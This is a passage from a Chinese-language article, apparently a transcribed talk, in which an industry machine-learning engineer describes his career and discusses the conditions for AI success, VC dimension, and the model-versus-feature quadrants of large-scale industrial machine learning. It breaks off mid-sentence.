AAAI 、NIPS、SIGKDD 等会议上有论文发表。&/p&&p&毕业之后我去了百度,所在的部门负责百度的搜索广告系统——凤巢系统。&b&这个阶段面对的是解决一个公司的一个问题,&/b&即「如何提升搜索广告的点击率」这个问题。当时我做的事情比较偏纯技术,即怎么让深度学习应用到大规模的机器学习中。我们有上千亿个特征,怎样设计一个模型应用深度学习。我们当时上线了世界上第一个使用深度学习的商用系统。&/p&&p&从百度离职之后我去了今日头条。在头条时面对的产品线更多了,除了主信息流推荐以外,小频道推荐、视频推荐,包括信息流广告、评论排序等等,有非常非常多的应用方向。&b&所以在今日头条,我面对的是一个公司内很多很多的业务与问题。&/b&对当时的头条来说,时效性是非常重要的。除了在技术上设计一个追求极致的时效性以及极致的性能与规模的机器学习系统之外,我还做了一件很重要的事情,是设计了很多机制,让这些人工智能技术能用在头条的各个产品线之中。举个例子,人工智能或者机器学习的算法其实是一个发动机引擎,机制是传动的齿轮,怎样把引擎的动力以最有效的方式传动到各个部件,这是机制所做的事情。所以除了需要关心技术之外,还要关心产品与机制创新。&/p&&p&从今日头条离开后来到第四范式,我们面对的业务、行业会更多。金融、电信、互联网,各种各样的行业,包含营销、获客、风控、推荐、排序等各种各样的问题。&b&在第四范式我面对的,是各行各业不同场景的不同问题。&/b&&/p&&p&可以看到,我的经历是从解决一个公司的一个问题,到解决一个公司的很多问题,到解决各行各业的各种问题。这些经历给了我很多思考,比方说&b&如何做一个追求极致的人工智能系统?如何在一个公司内让更多的产品使用人工智能?&/b&如何让更多的行业使用人工智能?在人工智能在公司内与行业间爆发的现在,这个是我想分享给大家的。&/p&&p&&b&人工智能成功必要的五个必要条件&/b&&/p&&figure&&img src=&http://pic2.zhimg.com/v2-cad91fa16ed9d10302d25d_b.jpg& data-rawheight=&540& data-rawwidth=&960& class=&origin_image zh-lightbox-thumb& width=&960& data-original=&http://pic2.zhimg.com/v2-cad91fa16ed9d10302d25d_r.jpg&&&/figure&&p&为什么人工智能在最近的一段时间非常火?为什么人工智能在 20 年前、10 年前没有这么火?为什么 AlphaGo 能在今年打败李世石而不是更早?我们直观的会认为是因为算法创新。但是算法创新只是其中一点,国内外很多专家分析总结出了人工智能成功的五个必要条件,这里跟大家分享一下:&/p&&p&第一,边界清晰。问题需要定义得非常清晰,比如 AlphaGo 做的是围棋,围棋是在 19×19 的棋盘上,黑白两方轮流下子的问题,有吃有打劫。如果变成一个开放的问题,变成
20×20 的棋盘,变成黑白灰三方下棋,或者把打劫规则变一下,都会导致人工智能的失败。&/p&&p&第二,外部反馈。算法要不断的有外部输入,知道我们在什么样的情况、算法做出什么样的行为下,外部给出的反馈是什么,这样才能促进提高,比方说需要 AlphaGo 不断地进行对弈,并且告诉它对弈的输赢。&/p&&p&第三,计算资源。近些年算法虽然有很大的进步,但计算资源也是产生智能的关键。最近业界在分布式计算上的成功,让我们相对于几十年前有了飞跃的基础。举个非常有趣的例子,Google 在描述 AlphaGo 不同版本的时候,为了简洁明了,直接使用计算能力来分类,而不是使用算法来分类。简版的 AlphaGo 被称作「单机训练的 AlphaGo」,复杂、更高智能的 AlphaGo 称为「多机、并行训练的 AlphaGo」,从这里也可以看出,计算资源起着至关重要的作用。&/p&&p&第四,顶尖的数据科学家和人工智能科学家。增强学习、深度学习最近重新被提出,需要很多科学家大量的工作,才能让这些算法真正的推行,除了围棋、视觉、语音之外,还有非常多的领域等待被探索。&/p&&p&第五,大数据。AlphaGo 的成功,关键的一点是 KGS 棋社的流行,KGS
上有数十万盘高手对战的棋谱,没有这些数据 AlphaGo 绝对不可能这么短的时间内打败人类。&/p&&p&这些要素总结起来只有三点:一方面是技术,计算资源和大数据方面的支持;一方面是业务,边界要清晰,业务有反馈;另一方面是人,包括科学家,包括应用到场景需要和人打交道。所以如果一个 AI 要成功的话总结起来三点,要关注技术、要关注业务、要关注人。&/p&&p&&b&工业界需要可扩展的机器学习系统&/b&&/p&&p&人工智能的兴起是计算能力、机器学习以及分布式计算发展的结果。在实际的工业界之中,我们需要一个可扩展的机器学习系统(Scalable Machine Learning System),而不仅仅是一个可扩展系统(Scalable System),那什么是可扩展的机器学习系统?&/p&&figure&&img src=&http://pic2.zhimg.com/v2-db6df09191ecbd90b70ecc1_b.jpg& data-rawheight=&540& data-rawwidth=&960& class=&origin_image zh-lightbox-thumb& width=&960& data-original=&http://pic2.zhimg.com/v2-db6df09191ecbd90b70ecc1_r.jpg&&&/figure&&p&第一点,数据处理的能力随机器的增加而增加,这是传统的可扩展。第二点,智能水平和体验壁垒要随着业务、数据量的增加而同时增加。这个角度的 Scalable 是很少被提到的,但这个层面上的可扩展性才是人工智能被推崇的核心原因。&/p&&p&举个例子,过去建立竞争壁垒主要通过业务创新快、行业内跑马圈地,或是通过借助新的渠道(比方说互联网)提升效率。在这样的方式中,由于产品本身相对容易被抄袭,那么资本投入、运营与渠道是关键。但随着数据的增加与 AI 的普及,现在有了一种新的方式,就是用时间与数据创造壁垒。举个简单的例子,如果现在去做一个搜索引擎,即使有百度现成的技术现在也很难做得过百度,因为百度积累了长时间的数据,用同样的算法也很难跑出一个比百度更好的搜索结果。这样如果拥有能用好数据的人工智能,就会获得更好的体验,反过来更好的体验又会带来更多的用户,进一步丰富数据,促进人工智能的提高。可以看出,由人工智能产生的竞争壁垒是不断循环迭代提升、更容易拉开差距的高墙。&/p&&p&&b&可扩展的机器学习系统需要高&/b&&b& VC 维&/b&&/p&&p&那么,我们怎么能获得一个既拥有高智能水平又能 Scalable 的学习系统呢?&/p&&p&60 年代 Vapnik 和 Chervonenkis 提出了 &b&VC 维理论&/b&,形式化的描述了机器学习算法对复杂函数拟合的能力。对 VC 维的理解,可以举个简单的例子就类似于人大脑内的神经元,神经元数量越多,这个人可能就越聪明。当然,这个不是绝对的,智商高的人不一定做出来的成就是最高的,这里关键的一点是个人的经历也要多,之后经历过很多事情、并且有思考的能力,才能悟出道理。在机器学习中,VC
维度讲的也是这个道理。&/p&&figure&&img src=&http://pic1.zhimg.com/v2-0be21dad3c477acd1a414_b.jpg& data-rawheight=&540& data-rawwidth=&960& class=&origin_image zh-lightbox-thumb& width=&960& data-original=&http://pic1.zhimg.com/v2-0be21dad3c477acd1a414_r.jpg&&&/figure&&p&教科书上的 VC 维都是上面这样的一张图。因为过去的数据不大,训练损失函数在不断下降,测试损失函数在不断的上升,要避免过拟合,VC 维就不能太高。比如你是个很聪明的孩子,但是在很小的时候不能让你过多的思考瞎琢磨,否则很有可能走火入魔。过去对我们教导是在你经历不多、数据不多时干脆傻一点,就没有那么多精力去思考乱七八糟的事情。这是当时大家觉得比较好的解法,控制
VC 维,让训练数据的 Test Loss、Training
Loss 同时下降。&/p&&p&但随着时代的不断发展,数据也是在不断增多的,我们的观点有了新的变化。在数据量比较小的时候,高 VC 维的模型比低 VC 维的模型效果要差,产生了 over-fitting,这只是故事的一部分;有了更多数据以后,我们发现低
VC 维模型效果再也涨不上去了,但高的 VC 维模型还在不断上升。这就是刚才说的智能
Scalable 的概念,在我们有越来越多数据的时候,要关心的是 under-fitting 而不是 over-fitting,要关心的是怎样提高 VC 维让模型更加聪明,悟出大数据中的道理。&/p&&p&总结成一句话,&b&如果要成功在工业界使用人工智能,&/b&&b&VC 维是非常重要的问题。&/b&&/p&&p&工业界怎么提升 VC 维呢?我们知道「机器学习=数据+特征+模型」,如果已经有很多数据,提升 VC 维的方法有两条:一种是从特征提升,一种是从模型提升。我们把特征分为两类:一类特征叫宏观特征,比如描述类特征如年龄、统计类特征如整体的点击率、或整体的统计信息;另一类为微观特征,最典型的是
ID 类的特征,每个人都有特征,每个物品也有特征,人和物品组合也有特征。相应的模型也分为两类,一部分是简单模型如线性模型,另一类是复杂模型如深度学习模型。这里,我们可以引出工业界机器学习四个象限的概念。&/p&&p&&b&模型&/b&&b& X 特征,工业界机器学习的四个象限&/b&&/p&&figure&&img src=&http://pic1.zhimg.com/v2-e253fd585c70be9cebd61c28_b.jpg& data-rawheight=&540& data-rawwidth=&960& class=&origin_image zh-lightbox-thumb& width=&960& data-original=&http://pic1.zhimg.com/v2-e253fd585c70be9cebd61c28_r.jpg&&&/figure&&p&工业界具体怎么做的?第一象限是简单模型加上宏观特征,在现在的工业界比较难以走通,很难得到极致化的优化效果。这个象限内,有七八十年代专家系统,还有一些统计模型。大家比较熟悉的 UCI Data 就是支持这个时代研究的典型数据,每个数据集有
1000 个左右的训练数据,分的类数也不多,特征也不多。对于这样的数据统计模型比较盛行,要解决的问题是怎样找出特征之间的关系与各自的统计特性。&/p&&p&第二象限是简单模型、复杂特征,最成功的典型案例是 Google AdWords。Google
在很多技术上都是开山鼻祖,包括整个计算广告学。Google AdWords 有上千亿的特征,每个人、每个广告、每个
Query 的组合都在其中。这种模型非常成功,给 Google 带来了非常大的收益。Google
AdWords 占 Google 70% 以上的收入,Google
的展示广告也是用的这样的技术,占了 Google 大概剩下的
20% 左右的收入。&/p&&p&第三象限是复杂模型、宏观特征典型的应用,比如 Bing ads,2013 年他们提出 BPR(Bayesian Probit Regression)来 Model 每个特征的置信度。雅虎也是第三象限忠实的传道士之一,大家所熟知的
COEC(Click Over Expected Click)这个算法就是雅虎提出的,在上面做了很多模型。其次他们还设计了很多模型解决增强学习问题,比如多臂老虎机等等算法。很多雅虎出去创业的同事最常使用的机器学习技术就是统计特征加
GBDT(Gradient Boosting Decision Tree),通常能获得非常好的效果。&/p&&p&第四象限,复杂模型和微观特征,现在还是热门研究的领域,它最难的一点是模型的规模实在太大。比如广告有上千亿的特征,如果做深度学习模型一个隐层有 1000 个特征,可能会有万万亿级别的参数。虽然数据很多,但万万亿的数据还是难以获得的。所以怎么解决这个角度的模型复杂问题、正则化问题,目前研究还是一个热点的研究方向。&/p&&p&&b&如何沿着模型优化?&/b&&/p&&figure&&img src=&http://pic3.zhimg.com/v2-39d9a968b0fcd73018edd42_b.jpg& data-rawheight=&540& data-rawwidth=&960& class=&origin_image zh-lightbox-thumb& width=&960& data-original=&http://pic3.zhimg.com/v2-39d9a968b0fcd73018edd42_r.jpg&&&/figure&&p&沿着模型优化主要由学术界主导,新的模型主要来自于 ICML、NIPS、ICLR 这样的会议。他们主要的研究是非线性的,总结起来有「三把宝剑」:Kernel、Boosting、Neural Network。Boosting、Neural Network 现在非常流行,Boosting 最成功的是 GBDT,而 Neural Network 也在很多行业产生了颠覆性的变化。大约十年前,Kernel
也是很流行的。借助 Kernel,SVM 有了异常强大的非线性能力,让 SVM 风靡了 10-15 年。优化模型的科学家们为了实验的方便,对工程实现的能力要求并不是特别高,大部分模型是可以单机加载的。要解决的实际问题主要是数据分布式,降低数据分布式带来的通讯
overhead 等问题。&/p&&p&对于工业界中的具体问题,基于思考或观察得到新的假设,加入新的模型、结构,以获得更多的参数,这是工业界优化这一项限的步骤。&/p&&figure&&img src=&http://pic1.zhimg.com/v2-12e4bfe283dac_b.jpg& data-rawheight=&540& data-rawwidth=&960& class=&origin_image zh-lightbox-thumb& width=&960& data-original=&http://pic1.zhimg.com/v2-12e4bfe283dac_r.jpg&&&/figure&&p&以时序动态的协同过滤为例,我们这里引用的是 Koren, Yehuda 在 2009 年在 KDD 上发表的论文 Collaborative filtering
with temporal dynamics,这是时序动态协同过滤被应用最多的一篇经典论文。在这篇论文里,首先协同过滤的问题有一个低秩假设,作者认为由
User,Item 组成的稀疏矩阵是由两个低秩矩阵相乘得到预估评分。第二,通过观察数据,作者观察到
IMDB 对某些电影的打分是随着时间的加长,分数不断上升(对那些经典的电影)。根据这样线性的关系,设计「现在的时间」减去「首次被打分时间」作为偏置,拟合斜率就是一个好的模型。考虑到更复杂的情况下,打分随时间的变化并不是单纯的线性,作者进一步提出将线分成很多小段,每个小段做分段线性。&/p&&p&总结一下,通过机器学习优化的套路是什么?&b&首先,观察数据;第二,找到规律;第三,根据规律做模型的假设;第四,对模型假设中的参数用数据进行拟合;第五,把拟合的结果用到线上,看看效果怎么样。&/b&这是模型这条路在工业界上优化的方法。&/p&&p&&b&如何沿特征优化?&/b&&/p&&p&&figure&&img src=&http://pic4.zhimg.com/v2-b7a3bfcfb6d7_b.jpg& data-rawheight=&540& data-rawwidth=&960& class=&origin_image zh-lightbox-thumb& width=&960& data-original=&http://pic4.zhimg.com/v2-b7a3bfcfb6d7_r.jpg&&&/figure&特征优化主要是工业界主导的,成果主要发表在 KDD、ADKDD 或者 WWW 上,这些模型相对简单粗暴。主要是 LR,比较简单,粗暴是说它的特征会特别多。就像刚才提到的,Google 使用了上千亿的特征,百度也使用了上千亿的特征,这些特征都是从最细的角度描述数据。&/p&&p&沿模型优化这条路的主要特点是什么?模型一定是分布式的,同时工程挑战是非常大的。上千亿的特征是什么概念?即使一个参数用一个 Float 存储,也需要上百 G 到上 T 的内存,是单机很难存储下来的。这还只是模型所占的内容空间,训练起来还有其他中间参数与变量、数据也还要占内存,所以这些算法一定是模型分布式的。针对这些难点,学术界中
KDD 和 WWW 等会议上都在研究如何高效并行,以及如何保证高效并行的时候快速收敛。ASP、BSP 等模型和同步、异步的算法,都是为了保证高效分布式的同时能快速收敛。&/p&&p&应为线性模型理论较为成熟,工业界对模型本身的优化相对没有那么多,其更主要的工作是针对具体的应用提取特征。为什么会有那么多特征?因为我们对所有观察到的微观变量都进行建模。以搜索广告为例,每个 User ID、每个 Query、 每个广告都有特征。同时为了个性化,User+Query、User+广告 ID、Query+广告
ID,甚至 User+Query+广告 ID 都能产生特征。通过组合,特征会发生爆炸,原来可能上亿的特征会变成上千亿特征。&/p&&p&初听这样的思路会觉得有点奇怪,把用户历史上搜过关键词或者看过广告 ID 作为特征,如果这个用户从来没有搜索过这个关键词或者没有看过这个广告,那是不是就不能获取特征了呢?这个问题正是
LR+大规模特征这条路最常被攻击的一点,即如何进行模型泛化。在大规模离散特征机器学习系统里,解决泛化的方法是设计加入层次化特征,保证在细粒度特征无法命中的时候,层次化的上位更粗粒度特征可以生效。比方说如果一个用户是一个新用户的话,我们没有
UserID

我要回帖

更多关于 单机游戏 的文章

 

随机推荐